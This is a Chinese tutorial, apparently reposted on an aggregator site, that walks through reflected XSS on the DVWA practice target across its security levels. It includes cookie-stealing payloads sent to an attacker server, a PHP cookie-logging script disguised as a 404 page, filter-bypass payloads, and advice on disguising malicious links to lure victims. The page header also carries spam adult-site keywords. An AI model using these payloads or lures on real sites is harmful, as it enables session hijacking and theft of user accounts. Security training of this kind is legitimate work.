日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

DVWA靶机-反射性XSS漏洞(Reflected)

發布時間:2023/12/14 编程问答 46 豆豆
生活随笔 收集整理的這篇文章主要介紹了 DVWA靶机-反射性XSS漏洞(Reflected) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

DVWA靶機-反射性XSS漏洞(Reflected)

DVWA靶機-暴力破解(Brute Force) && DVWA靶機的四個安全等級

DVWA靶機-命令注入漏洞(Command Injection)

DVWA靶機-文件包含漏洞(File Inclusion)

DVWA靶機-文件上傳漏洞(File uploads)

DVWA靶機-跨站請求偽造(CSRF)

XSS跨站腳本攻擊

XSS(Cross Site Script):全稱為跨站腳本攻擊,為了與CSS(Cascading Style Sheet)層疊樣式表有所區別,所以在安全領域稱之為XSS。

XSS攻擊:通常指黑客通過HTML注入(控制輸入變量),插入惡意腳本,從而在被攻擊者瀏覽網頁時,加載并執行攻擊者惡意制造的網頁程序,通常指JS,實際可包含java、VBscript、ActiveX、Flash、html,攻擊成功后,攻擊者可能得到一定的權限私密網頁內容會話cookie等。

這種行為最初出現之時,所有的XSS攻擊案例都是跨域行為,所以叫做跨站腳本。時至今日,隨著WEB端功能的復雜化,應用化,是否跨站已經不重要但是XSS這個名字依然留存下來。

反射性XSS挖掘方法

1.反射型XSS漏洞可能存在的環境

我們在許多網頁中可能都有搜索欄,在搜索欄中輸入關鍵詞查找后,頁面回回顯全部的或者部分的關鍵詞,且在url中也會出現該關鍵詞,此時該網頁可能就存在反射性XSS漏洞。

此時可以做一個簡單的測試,測試是否為GET型傳參
alert()函數: 彈窗函數

<script>alert(1)</script>

2.漏洞檢驗-惡意代碼化

此時漏洞就發現了,我們可以編輯惡意型的代碼插入url中執行.

3.生成鏈接,誘導被攻擊者點擊

當發現這個漏洞后,我們需要對插入了惡意代碼的鏈接進行變形、比如長鏈接變短鏈接長鏈接變二維碼圖片鏈接等,目的就是要誘導用戶來點擊該鏈接,從而達成攻擊的效果。

1.DVWA-LOW等級下的反射型XSS漏洞

(1).本地用戶登錄,測試XSS漏洞所在位置

在LOW等級下,Reflectd型XSS的頁面回顯如下,在搜索欄里輸入123,頁面回顯123,且在url中123也出現,此時該頁面可能存在反射型XSS漏洞,同時也不存在任何防護的安全策略,我們可以實施攻擊。

可以查到搜索欄的源代碼

在回顯Hello 123時使用的為<pre>Hello 123</pre>
此時我們可以考慮打破<pre>的閉合,在輸入中加入其它函數或者標簽。
alert() && confirm() && prompt()函數: 都為彈窗函數

我們在url中name后面加入<script>alert(1)</script>打破<pre>閉合,此時alert()函數執行,彈出1


此時可以進行一些有攻擊性的操作,我們在url中構造出獲取被攻擊者cookie值的函數,盜取用戶的cookie值。

(2).構造惡意鏈接、盜取用戶cookie

document.location: 指定cookie傳送站點
10.113.241.2: 為攻擊者服務器
document.cookie: 獲取當前用戶的cookie值

http://192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=<script>document.location='http://10.113.241.2/xss.php?cookie=' +document.cookie;</script>

xss.php:為LOW等級獲取cookie的處理方法

//xss.php <?php$cookie = $_GET['cookie']; //獲取cookie變量的值$log = fopen("cookie.txt","w"); //創建并打開一個cookie.txt的文本權限為寫入fwrite($log,$cookie."\n"); //把cookie的值寫入創建的文本fclose($log); //關閉文本 ?> <h1>404<h1> <h2>file not found.<h2>

當用戶點擊此鏈接時,通過document.cookie函數獲取當前用戶的cookie值,賦給站點的xss.php文件,xss.php中定義文件操作,將獲取的cookie寫入cookie.txt文件,此時攻擊者就獲取了用戶的cookie值。

如下是通過轉碼的惡意鏈接,用戶點擊這個鏈接會執行上述操作

192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F10.113.241.2%2Fxss.php%3Fcookie%3D%27+%2Bdocument.cookie%3B%3C%2Fscript%3E

被攻擊者點擊該鏈接后就會彈窗到如下頁面

要使該鏈接變的更加有迷惑性,可以進行長短鏈接的變換,鏈接生成二維碼,或者具有誘惑性的圖片鏈接等。

圖中為用戶點擊惡意鏈接后在攻擊者本地生成的cookie.txt文件,里面已經寫入了用戶的cookie值。

(3).以用戶的身份認證(cookie值)登錄網站

在DVWA中對于cookie沒有防范措施,也就是說,在用戶登錄的情況下,攻擊者可以利用用戶的cookie,直接與服務器獲取連接

在這塊,由于之前的cookie,我在瀏覽器中清除了一次,在此處為了演示步驟,直接用cookie值連接,原理相同

LOW 等級下的反射性XSS源碼:
XSS (Reflected) Source:

array_key_exists()函數: 檢查某個數組中是否存在指定的鍵名,如果鍵名存在則返回 true,如果鍵名不存在則返回 false

array_key_exists(key,array):key和array都是必須存在的,key為規定鍵名,array為規定數組。

在源終GET得到的值是以數組的形式,然后判斷GET得到的name是不是空,不為空,執行echo語句。

<?php// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; }?>

2.DVWA-Medium等級下的反射型XSS漏洞

(1).漏洞測試

在Medium等級下,必然存在著一些過濾策略,同low等級一樣,漏洞的位置是一樣的

此時我們用alert()函數,彈窗函數,測試是否能利用<script></script>標簽是否可用

此時發現alert()函數不能彈窗,且頁面回顯alert(1),此時我們可以分析到<script></script>未能起到作用,應該是被過濾,我們查看Medium等級下的源碼

XSS (Reflected) Source:
str_repalce()函數: 在此處過濾了標簽<script></script>,將GET中輸入中的script標簽替換為空

<?php// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = str_replace( '<script>', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>"; }?>

繞過str_replace()函數:
1.雙寫繞過,雙寫<script>

<scri<script>pt>alert(1)</script>

2.大小寫字母繞過,str_replace()函數替換的為字符串,此時可以將script標簽改為大寫繞過

<ScRipt>alert(1)<ScRipt>

(2).構造惡意鏈接、盜取用戶cookie

同low等級一樣,構造的惡意鏈接為

http://192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=<ScRipt>document.location='http://10.113.241.2/xss1.php?cookie=' +document.cookie;</ScRipt>

low等級不同的是,<ScRipt></ScRipt>

xss1.php:為Medium等級下獲取cookie的處理方法
創建的用戶保存用戶cookie的文檔為,cookie1.txt文檔

//xss1.php <?php$cookie = $_GET['cookie']; //獲取cookie變量的值$log = fopen("cookie1.txt","w"); //創建并打開一個cookie1.txt的文本權限為寫入fwrite($log,$cookie."\n"); //把cookie的值寫入創建的文本fclose($log); //關閉文本 ?> <h1>404<h1> <h2>file not found.<h2>

當用戶點擊此鏈接時,通過document.cookie函數獲取當前用戶的cookie值,賦給站點的xss1.php文件,xss1.php中定義文件操作,將獲取的cookie寫入cookie1.txt文件,此時攻擊者就獲取了用戶的cookie值。

如下是通過轉碼的惡意鏈接,用戶點擊這個鏈接會執行上述操作

192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=%3CScRipt%3Edocument.location%3D%27http%3A%2F%2F10.113.241.2%2Fxss1.php%3Fcookie%3D%27+%2Bdocument.cookie%3B%3C%2FScRipt%3E


要使該鏈接變的更加有迷惑性,可以進行長短鏈接的變換鏈接生成二維碼,或者具有誘惑性的圖片鏈接等。

此時cookie1.txt中已經寫入cookie值

(3).以用戶的身份認證(cookie值)登錄網站

在DVWA中對于cookie沒有防范措施,也就是說,在用戶登錄的情況下,攻擊者可以利用用戶的cookie,直接與服務器獲取連接

3.DVWA-High等級下的反射性XSS漏洞

在High等級下必然定義了比Medium等級更強的安全策略,我們查看其源碼
High等級下的反射性XSS源碼:
preg_replace()函數: 函數用于正則表達式的搜索和替換,替換為空,i為不區分大小寫

<?php// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>"; }?>

繞過方法:

使用其他的標簽,<img src=x onerror=alert(1)>
img調用圖片,在此處,當圖片的src所指的路徑不存在圖片,則彈出對話框,回顯1

由于preg_replace()函數,此時像low和medium等級的構造惡意鏈接方式不可用

4.impossible等級

impossible等級防范XSS反射型的一個案例,相當強大

impossible等級源碼:
impossible Reflected XSS Source:

htmlspecialchars()函數: 將特殊字符轉換為 HTML 實體
token機制: 隨機值

<?php// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$name = htmlspecialchars( $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>"; }// Generate Anti-CSRF token generateSessionToken();?>

總結

以上是生活随笔為你收集整理的DVWA靶机-反射性XSS漏洞(Reflected)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。